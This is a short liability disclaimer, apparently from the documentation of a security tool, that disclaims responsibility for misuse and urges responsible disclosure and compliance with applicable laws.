The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.